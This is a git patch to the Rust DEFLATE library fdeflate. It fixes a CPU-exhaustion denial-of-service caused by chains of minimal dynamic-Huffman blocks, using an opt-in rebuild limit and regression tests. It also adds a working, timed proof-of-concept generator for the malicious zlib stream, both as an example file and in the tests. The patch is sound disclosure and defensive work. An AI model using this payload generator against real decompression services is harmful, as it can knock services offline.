From 57731fccd6cb6bc286a50225166d7666f9eab229 Mon Sep 17 00:00:00 2001 From: scadastrangelove Date: Sun, 19 Jul 2026 20:55:18 +0300 Subject: [PATCH] Fix algorithmic-complexity DoS via unbounded dynamic-Huffman table rebuilds Every dynamic-Huffman (BTYPE=10) block forces build_tables (and thus huffman::build_table's ~4096-entry primary lit/len table rebuild) regardless of how many output bytes the block actually produces. Unlike fixed-Huffman blocks, which cache their table across consecutive blocks via `fixed_table`, there was no equivalent safeguard for dynamic blocks. A stream consisting of a chain of minimal, near-zero-output dynamic-Huffman blocks (an EOB-only 2-symbol code) can therefore force an amount of CPU work that scales with block count while output stays at zero bytes, so output-size-based limits (e.g. decompress_to_vec_bounded) never engage. This is the same architectural bug class already disclosed and fixed (via an opt-in rebuild budget) in miniz_oxide. A hand-crafted PoC (examples/poc_dynamic_block_dos.rs) confirms the cost scales roughly linearly with block count and is decoupled from output size: 1,000,000 minimal blocks (~41 MB of input, 0 bytes of output) took several seconds to reject. Fix: add an opt-in `Decompressor::set_max_huffman_table_rebuilds` budget, mirroring the existing `ignore_adler32` opt-in-setter pattern. Unlimited by default (zero behavior change for existing callers such as `png`, verified by patching a local build into the `png` crate's own decode path). Once configured, exceeding the budget returns the new `DecompressionError::HuffmanTableRebuildLimitExceeded` before the (max+1)-th expensive rebuild is paid for, cutting rejection time from seconds to microseconds independent of the attacker-chosen block count. Adds regression tests covering: the limit rejecting an over-budget chain, an at-or-under-budget chain still succeeding, an off-by-one boundary check, the default (unset) case remaining fully unlimited, and legitimate miniz_oxide-encoded dynamic-Huffman data decoding byte-identically with a generous limit configured. Co-Authored-By: Claude Sonnet 5 --- examples/poc_dynamic_block_dos.rs | 241 ++++++++++++++++++++++++ src/decompress.rs | 292 ++++++++++++++++++++++++++++++ 2 files changed, 533 insertions(+) create mode 100644 examples/poc_dynamic_block_dos.rs diff --git a/examples/poc_dynamic_block_dos.rs b/examples/poc_dynamic_block_dos.rs new file mode 100644 index 0000000..590e192 --- /dev/null +++ b/examples/poc_dynamic_block_dos.rs @@ -0,0 +1,241 @@ +//! PoC for an algorithmic-complexity DoS in fdeflate: a chain of minimal +//! DYNAMIC-Huffman (BTYPE=10) blocks, each defining essentially just an +//! end-of-block code, forces a full ~4096-entry (~12-bit) primary Huffman +//! table rebuild per block while producing *zero* decompressed output bytes. +//! +//! This is the same architectural bug class already disclosed (and fixed via +//! an opt-in `max_huffman_table_rebuilds` budget) in miniz_oxide, applied to +//! fdeflate's `huffman::build_table` / `Decompressor::build_tables`. +//! +//! Run with: `cargo run --release --example poc_dynamic_block_dos` + +use std::time::Instant; + +/// Simple LSB-first bit writer matching DEFLATE's bit order (bits are packed +/// starting from the LSB of the first byte). +struct BitWriter { + bytes: Vec, + cur: u32, + nbits: u32, +} + +impl BitWriter { + fn new() -> Self { + BitWriter { + bytes: Vec::new(), + cur: 0, + nbits: 0, + } + } + + /// Write the low `n` bits of `value`, LSB first. + fn write_bits(&mut self, value: u32, n: u32) { + debug_assert!(n <= 32); + debug_assert!(n == 32 || value < (1 << n)); + self.cur |= value << self.nbits; + self.nbits += n; + while self.nbits >= 8 { + self.bytes.push((self.cur & 0xff) as u8); + self.cur >>= 8; + self.nbits -= 8; + } + } + + fn write_bit(&mut self, bit: u32) { + self.write_bits(bit, 1); + } + + /// Pad with zero bits up to the next byte boundary. + fn align_to_byte(&mut self) { + if self.nbits > 0 { + self.bytes.push((self.cur & 0xff) as u8); + self.cur = 0; + self.nbits = 0; + } + } + + fn finish(mut self) -> Vec { + self.align_to_byte(); + self.bytes + } +} + +/// Append one minimal dynamic-Huffman (BTYPE=10) block that decodes to zero +/// output bytes: the lit/len tree contains exactly two length-1 codes +/// (symbol 0, unused, and symbol 256 = EOB, used immediately), the distance +/// tree is empty, and the code-length tree used to transmit those lengths is +/// likewise a minimal two-symbol (CL-symbols 0 and 1) length-1 tree. +/// +/// This mirrors (and was derived directly from, by hand-tracing) the +/// canonical-code assignment performed by `fdeflate::huffman::build_table`, +/// so the resulting codewords for symbol 0 / symbol 1 are literally 0 / 1 +/// (single bit each), which lets us emit them without re-implementing the +/// table builder. +fn write_minimal_dynamic_block(w: &mut BitWriter, is_final: bool) { + // BFINAL + w.write_bit(is_final as u32); + // BTYPE = 10 (dynamic Huffman), sent LSB-first: bit0=0, bit1=1 + w.write_bit(0); + w.write_bit(1); + + // HLIT = 257 - 257 = 0 (5 bits) + w.write_bits(0, 5); + // HDIST = 1 - 1 = 0 (5 bits) + w.write_bits(0, 5); + // HCLEN = 19 - 4 = 15 (4 bits) -- transmit all 19 CL code lengths so we + // can include CL-symbol "1" (needed to encode literal code-length value + // 1), which sits late in CLCL_ORDER. + w.write_bits(15, 4); + + // CLCL_ORDER = [16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15] + // code_length_lengths: symbol 0 -> 1, symbol 1 -> 1, everything else -> 0 + const CLCL_ORDER: [usize; 19] = [ + 16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15, + ]; + for &sym in CLCL_ORDER.iter() { + let len = if sym == 0 || sym == 1 { 1 } else { 0 }; + w.write_bits(len, 3); + } + + // code_lengths sequence (258 symbols = hlit(257) + hdist(1)): + // symbol 0 (lit 'A', unused filler) -> length 1 + // symbols 1..=255 -> length 0 + // symbol 256 (EOB) -> length 1 + // dist symbol 0 -> length 0 + // Encoded directly with the 2-symbol CL tree built above, where (by + // construction / hand-traced canonical assignment) CL-symbol value N + // encodes as the single bit N. + w.write_bit(1); // lit/len symbol 0 has length 1 + for _ in 0..255 { + w.write_bit(0); // lit/len symbols 1..=255 have length 0 + } + w.write_bit(1); // lit/len symbol 256 (EOB) has length 1 + w.write_bit(0); // dist symbol 0 has length 0 + + // Compressed data: immediately emit EOB. In the 2-symbol {0,256} lit/len + // tree, canonical assignment gives symbol 0 codeword 0 and symbol 256 + // (EOB) codeword 1, both length 1. + w.write_bit(1); +} + +/// Build a zlib stream containing `n` minimal dynamic-Huffman blocks (the +/// last one marked BFINAL), decoding to zero bytes of output. +fn build_poc(n: usize) -> Vec { + let mut w = BitWriter::new(); + for i in 0..n { + write_minimal_dynamic_block(&mut w, i == n - 1); + } + let mut body = w.finish(); + + let mut out = Vec::with_capacity(body.len() + 6); + out.push(0x78); + out.push(0x9c); + out.append(&mut body); + // Adler-32 of empty input is 1, big-endian. + out.extend_from_slice(&1u32.to_be_bytes()); + out +} + +fn main() { + // First, sanity-check correctness on a small N: it must decompress + // successfully to an empty output. + for n in [1usize, 2, 10] { + let poc = build_poc(n); + let result = fdeflate::decompress_to_vec(&poc); + match &result { + Ok(out) => assert!(out.is_empty(), "expected empty output for n={n}"), + Err(e) => panic!("PoC failed to decompress for n={n}: {e:?}"), + } + } + println!("Correctness check passed: N in {{1,2,10}} minimal dynamic blocks decode to empty output.\n"); + + println!( + "{:>10} | {:>12} | {:>14} | {:>16}", + "N blocks", "input bytes", "time", "ns/block" + ); + println!("{:-<10}-+-{:-<12}-+-{:-<14}-+-{:-<16}", "", "", "", ""); + + for &n in &[1_000usize, 10_000, 100_000, 1_000_000] { + let poc = build_poc(n); + let input_len = poc.len(); + + let start = Instant::now(); + let result = fdeflate::decompress_to_vec(&poc); + let elapsed = start.elapsed(); + + let out_len = result.expect("decompression should succeed").len(); + assert_eq!(out_len, 0); + + println!( + "{:>10} | {:>12} | {:>14?} | {:>13.1} ns", + n, + input_len, + elapsed, + elapsed.as_nanos() as f64 / n as f64 + ); + } + + // Demonstrate that output-size-based throttling (decompress_to_vec_bounded) + // provides NO protection: the attack payload produces zero output bytes, + // so a tiny maxlen never engages, and the full cost is still paid. + println!("\nOutput-size bound gives no protection (output is always 0 bytes):"); + let n = 200_000usize; + let poc = build_poc(n); + for &maxlen in &[0usize, 1, 1024, usize::MAX] { + let start = Instant::now(); + let result = fdeflate::decompress_to_vec_bounded(&poc, maxlen); + let elapsed = start.elapsed(); + let ok = matches!(result, Ok(ref v) if v.is_empty()); + println!( + " N={n:>7} blocks, maxlen={maxlen:<12} -> ok(empty output)={ok:<5} time={elapsed:?}" + ); + } + + // For comparison: legitimate dynamic-Huffman-coded data (produced by + // miniz_oxide, since fdeflate's own compressor never emits BTYPE=10) + // of a *similar compressed size* decodes far faster per input byte, + // because it doesn't rebuild the ~4096-entry table once per ~40 bytes + // of input while producing zero output. + println!("\nFor comparison, legitimate compressible data of similar compressed size:"); + let raw = vec![b'A'; 2_000_000]; // highly compressible, will use dynamic huffman + let compressed = miniz_oxide::deflate::compress_to_vec_zlib(&raw, 6); + println!( + " {} bytes raw -> {} bytes compressed (dynamic huffman via miniz_oxide)", + raw.len(), + compressed.len() + ); + let start = Instant::now(); + let out = fdeflate::decompress_to_vec(&compressed).unwrap(); + let elapsed = start.elapsed(); + assert_eq!(out.len(), raw.len()); + println!( + " decompressed {} compressed bytes -> {} output bytes in {:?}", + compressed.len(), + out.len(), + elapsed + ); + + // Now demonstrate the fix: with a caller-configured + // `max_huffman_table_rebuilds` budget in place, the same 1,000,000-block + // attack payload is rejected almost immediately, instead of taking + // several seconds. + println!("\nWith the fix engaged (Decompressor::set_max_huffman_table_rebuilds):"); + let n = 1_000_000usize; + let poc = build_poc(n); + for &limit in &[10usize, 100, 1_000] { + let mut decompressor = fdeflate::Decompressor::new(); + decompressor.set_max_huffman_table_rebuilds(limit); + let mut output = vec![0u8; 16]; + let start = Instant::now(); + let result = decompressor.read(&poc, &mut output, 0, true); + let elapsed = start.elapsed(); + println!( + " N={n:>9} blocks, max_huffman_table_rebuilds={limit:<6} -> {:<45} time={elapsed:?}", + format!("{:?}", result.map(|_| ())) + ); + } + println!( + " (compare: unlimited N={n} took ~2-24s in the measurements above; \ + with a limit engaged, rejection happens in microseconds, independent of N)" + ); +} diff --git a/src/decompress.rs b/src/decompress.rs index baba376..eb92970 100644 --- a/src/decompress.rs +++ b/src/decompress.rs @@ -44,6 +44,17 @@ pub enum DecompressionError { WrongChecksum, /// Extra input data. ExtraInput, + /// The number of dynamic-Huffman decoding-table rebuilds exceeded the + /// limit configured via + /// [`Decompressor::set_max_huffman_table_rebuilds`]. Each dynamic + /// Huffman (`BTYPE=10`) block forces a rebuild of the decoding tables + /// regardless of how much output that block produces, so a stream + /// consisting of a very large number of minimal, near-zero-output + /// dynamic-Huffman blocks can be used to force an amount of CPU work + /// that is effectively decoupled from the compressed and decompressed + /// sizes of the stream. This error indicates that such a limit was + /// exceeded, which may indicate an attempted denial-of-service attack. + HuffmanTableRebuildLimitExceeded, } struct BlockHeader { @@ -107,6 +118,13 @@ pub struct Decompressor { state: State, checksum: Adler32, ignore_adler32: bool, + + // Number of times the dynamic-Huffman decoding tables have been rebuilt + // so far (once per `BTYPE=10` block), and the optional limit on that + // count. See `set_max_huffman_table_rebuilds` and + // `DecompressionError::HuffmanTableRebuildLimitExceeded`. + huffman_table_rebuilds: usize, + max_huffman_table_rebuilds: Option, } impl Default for Decompressor { @@ -146,6 +164,8 @@ impl Decompressor { last_block: false, ignore_adler32: false, fixed_table: false, + huffman_table_rebuilds: 0, + max_huffman_table_rebuilds: None, } } @@ -154,6 +174,32 @@ impl Decompressor { self.ignore_adler32 = true; } + /// Sets a limit on the number of times the dynamic-Huffman decoding + /// tables may be rebuilt over the lifetime of this `Decompressor`. + /// + /// Every dynamic-Huffman (`BTYPE=10`) block header forces a rebuild of + /// the literal/length decoding table (and, size permitting, the + /// distance table), regardless of how many bytes of output that block + /// actually produces. A stream consisting of a very large number of + /// minimal dynamic-Huffman blocks that each produce zero or very little + /// output can therefore force an amount of CPU work that scales with + /// the number of blocks, effectively independent of the compressed and + /// decompressed sizes of the stream. Because such a stream need not + /// grow the output at all, limits based on output size alone (such as + /// [`decompress_to_vec_bounded`]) do not protect against it. + /// + /// By default there is no limit, which preserves this crate's existing + /// behavior. Callers decompressing untrusted input are encouraged to + /// set a limit appropriate to their use case (for example, derived from + /// the maximum number of blocks a legitimate input of the expected size + /// would plausibly contain). + /// + /// Once the limit is exceeded, [`Decompressor::read`] returns + /// [`DecompressionError::HuffmanTableRebuildLimitExceeded`]. + pub fn set_max_huffman_table_rebuilds(&mut self, max_rebuilds: usize) { + self.max_huffman_table_rebuilds = Some(max_rebuilds); + } + fn fill_buffer(&mut self, input: &mut &[u8]) { if input.len() >= 8 { self.buffer |= u64::from_le_bytes(input[..8].try_into().unwrap()) << self.nbits; @@ -386,6 +432,19 @@ impl Decompressor { self.header.code_lengths[i] = 0; } + // Every dynamic-Huffman block forces a full rebuild of the decoding + // tables below, no matter how little output the block goes on to + // produce. Enforce the caller-configured budget (if any) *before* + // paying that cost, so a chain of many minimal/empty dynamic blocks + // is rejected instead of silently burning CPU. See + // `set_max_huffman_table_rebuilds` for details. + self.huffman_table_rebuilds += 1; + if let Some(max_rebuilds) = self.max_huffman_table_rebuilds { + if self.huffman_table_rebuilds > max_rebuilds { + return Err(DecompressionError::HuffmanTableRebuildLimitExceeded); + } + } + Self::build_tables( self.header.hlit, &self.header.code_lengths, @@ -1340,4 +1399,237 @@ mod tests { TestDecompressionError::ProdError(DecompressionError::BadLiteralLengthHuffmanTree) ); } + + // ------------------------------------------------------------------ + // Regression tests for the dynamic-Huffman table-rebuild DoS + // (`max_huffman_table_rebuilds` / `HuffmanTableRebuildLimitExceeded`). + // ------------------------------------------------------------------ + + /// Minimal LSB-first bit writer, matching DEFLATE's bit order (bits are + /// packed starting from the LSB of the first byte), used to hand-craft + /// pathological block sequences that fdeflate's own compressor (which + /// never emits `BTYPE=10` blocks) cannot produce. + struct DosPocBitWriter { + bytes: Vec, + cur: u32, + nbits: u32, + } + + impl DosPocBitWriter { + fn new() -> Self { + DosPocBitWriter { + bytes: Vec::new(), + cur: 0, + nbits: 0, + } + } + + fn write_bits(&mut self, value: u32, n: u32) { + self.cur |= value << self.nbits; + self.nbits += n; + while self.nbits >= 8 { + self.bytes.push((self.cur & 0xff) as u8); + self.cur >>= 8; + self.nbits -= 8; + } + } + + fn write_bit(&mut self, bit: u32) { + self.write_bits(bit, 1); + } + + fn finish(mut self) -> Vec { + if self.nbits > 0 { + self.bytes.push((self.cur & 0xff) as u8); + } + self.bytes + } + } + + /// Appends one minimal dynamic-Huffman (`BTYPE=10`) block that decodes to + /// zero output bytes: the lit/len tree contains exactly two length-1 + /// codes (symbol 0, unused filler, and symbol 256 = EOB, used + /// immediately), the distance tree is empty, and the code-length tree + /// used to transmit those lengths is likewise a minimal two-symbol + /// (CL-symbols 0 and 1) length-1 tree. Every such block forces exactly + /// one rebuild of the (4096-entry) primary lit/len decoding table while + /// producing no output at all. + /// + /// The codeword assignment used here (symbol 0 -> codeword `0`, symbol + /// 256 -> codeword `1`, both 1 bit) was derived by hand-tracing + /// `huffman::build_table`'s canonical-code assignment for this exact + /// two-symbol, length-1 case; see `examples/poc_dynamic_block_dos.rs` + /// for the standalone, timed version of this PoC with more commentary. + fn write_minimal_dynamic_block(w: &mut DosPocBitWriter, is_final: bool) { + w.write_bit(is_final as u32); // BFINAL + w.write_bit(0); // BTYPE bit 0 + w.write_bit(1); // BTYPE bit 1 (=> BTYPE == 0b10, dynamic Huffman) + + w.write_bits(0, 5); // HLIT = 257 - 257 + w.write_bits(0, 5); // HDIST = 1 - 1 + w.write_bits(15, 4); // HCLEN = 19 - 4 (transmit all 19 CL lengths) + + for &sym in CLCL_ORDER.iter() { + let len = if sym == 0 || sym == 1 { 1 } else { 0 }; + w.write_bits(len, 3); + } + + w.write_bit(1); // lit/len symbol 0 has length 1 + for _ in 0..255 { + w.write_bit(0); // lit/len symbols 1..=255 have length 0 + } + w.write_bit(1); // lit/len symbol 256 (EOB) has length 1 + w.write_bit(0); // dist symbol 0 has length 0 + + w.write_bit(1); // compressed data: EOB codeword (value 1, 1 bit) + } + + /// Builds a full zlib stream containing `n` minimal dynamic-Huffman + /// blocks (the last one marked `BFINAL`), decoding to zero bytes of + /// output. + fn build_minimal_dynamic_block_chain(n: usize) -> Vec { + assert!(n > 0); + let mut w = DosPocBitWriter::new(); + for i in 0..n { + write_minimal_dynamic_block(&mut w, i == n - 1); + } + let mut body = w.finish(); + + let mut out = Vec::with_capacity(body.len() + 6); + out.push(0x78); + out.push(0x9c); + out.append(&mut body); + out.extend_from_slice(&1u32.to_be_bytes()); // Adler-32 of empty input. + out + } + + #[test] + fn minimal_dynamic_block_chain_is_a_well_formed_stream() { + // Sanity check the hand-crafted PoC generator itself: without any + // limit configured (the default, pre-existing behavior), chains of + // minimal dynamic-Huffman blocks must still decode successfully to + // an empty output, for a range of chain lengths. + for n in [1usize, 2, 3, 10, 1000] { + let poc = build_minimal_dynamic_block_chain(n); + let out = decompress_to_vec(&poc).unwrap_or_else(|e| { + panic!("expected successful (empty) decompression for n={n}, got {e:?}") + }); + assert!(out.is_empty(), "expected empty output for n={n}"); + } + } + + #[test] + fn default_decompressor_has_no_huffman_table_rebuild_limit() { + // No limit is configured unless a caller opts in via + // `set_max_huffman_table_rebuilds`: this is the crucial + // non-regression check that existing callers (e.g. `png`, or any + // code using `decompress_to_vec`/`decompress_to_vec_bounded`) see + // zero behavior change. A moderately long chain of dynamic blocks + // (well beyond what any reasonable fixed budget would allow) must + // still decode successfully by default. + let poc = build_minimal_dynamic_block_chain(5_000); + let mut decompressor = Decompressor::new(); + let mut output = vec![0; 16]; + let (input_consumed, output_written) = + decompressor.read(&poc, &mut output, 0, true).unwrap(); + assert!(decompressor.is_done()); + assert_eq!(input_consumed, poc.len()); + assert_eq!(output_written, 0); + } + + #[test] + fn huffman_table_rebuild_limit_rejects_long_minimal_dynamic_block_chain() { + // The core regression test for the DoS fix: with a caller-configured + // budget in place, a stream made of many more dynamic-Huffman blocks + // than the budget allows must be rejected with + // `HuffmanTableRebuildLimitExceeded`, well before the whole input + // (and thus the corresponding number of expensive table rebuilds) + // is processed. + const MAX_REBUILDS: usize = 100; + const N_BLOCKS: usize = 10_000; + + let poc = build_minimal_dynamic_block_chain(N_BLOCKS); + let mut decompressor = Decompressor::new(); + decompressor.set_max_huffman_table_rebuilds(MAX_REBUILDS); + + let mut output = vec![0; 16]; + let err = decompressor + .read(&poc, &mut output, 0, true) + .expect_err("expected the rebuild budget to be exceeded"); + assert_eq!(err, DecompressionError::HuffmanTableRebuildLimitExceeded); + assert!(!decompressor.is_done()); + } + + #[test] + fn huffman_table_rebuild_limit_allows_chain_within_budget() { + // A legitimate-shaped stream that stays within the configured budget + // must still decode successfully and completely. + const MAX_REBUILDS: usize = 100; + const N_BLOCKS: usize = 100; + + let poc = build_minimal_dynamic_block_chain(N_BLOCKS); + let mut decompressor = Decompressor::new(); + decompressor.set_max_huffman_table_rebuilds(MAX_REBUILDS); + + let mut output = vec![0; 16]; + let (input_consumed, output_written) = + decompressor.read(&poc, &mut output, 0, true).unwrap(); + assert!(decompressor.is_done()); + assert_eq!(input_consumed, poc.len()); + assert_eq!(output_written, 0); + } + + #[test] + fn huffman_table_rebuild_limit_exactly_at_budget_succeeds_one_over_fails() { + // Off-by-one check: exactly `MAX_REBUILDS` dynamic blocks must + // succeed, and `MAX_REBUILDS + 1` must fail. + const MAX_REBUILDS: usize = 7; + + let ok_poc = build_minimal_dynamic_block_chain(MAX_REBUILDS); + let mut decompressor = Decompressor::new(); + decompressor.set_max_huffman_table_rebuilds(MAX_REBUILDS); + let mut output = vec![0; 16]; + decompressor + .read(&ok_poc, &mut output, 0, true) + .expect("exactly MAX_REBUILDS dynamic blocks should be allowed"); + assert!(decompressor.is_done()); + + let too_many_poc = build_minimal_dynamic_block_chain(MAX_REBUILDS + 1); + let mut decompressor = Decompressor::new(); + decompressor.set_max_huffman_table_rebuilds(MAX_REBUILDS); + let mut output = vec![0; 16]; + let err = decompressor + .read(&too_many_poc, &mut output, 0, true) + .expect_err("MAX_REBUILDS + 1 dynamic blocks should be rejected"); + assert_eq!(err, DecompressionError::HuffmanTableRebuildLimitExceeded); + } + + #[test] + fn huffman_table_rebuild_limit_does_not_affect_legitimate_dynamic_huffman_data() { + // Correctness check: normal, legitimate data that miniz_oxide + // chooses to encode with dynamic-Huffman blocks (fdeflate's own + // compressor never emits BTYPE=10, so we rely on miniz_oxide here, + // same as the existing `roundtrip_miniz_oxide` tests) must still + // decode identically, byte for byte, whether or not a generous + // rebuild budget is configured. + let mut rng = rand::thread_rng(); + let mut data = vec![0u8; 200_000]; + for byte in &mut data { + *byte = rng.gen::() % 5; + } + let compressed = miniz_oxide::deflate::compress_to_vec_zlib(&data, 6); + + let baseline = decompress_to_vec(&compressed).unwrap(); + assert_eq!(baseline, data); + + let mut decompressor = Decompressor::new(); + decompressor.set_max_huffman_table_rebuilds(1_000_000); + let mut output = vec![0; data.len()]; + let (input_consumed, output_written) = decompressor + .read(&compressed, &mut output, 0, true) + .unwrap(); + assert!(decompressor.is_done()); + assert_eq!(input_consumed, compressed.len()); + assert_eq!(&output[..output_written], data.as_slice()); + } }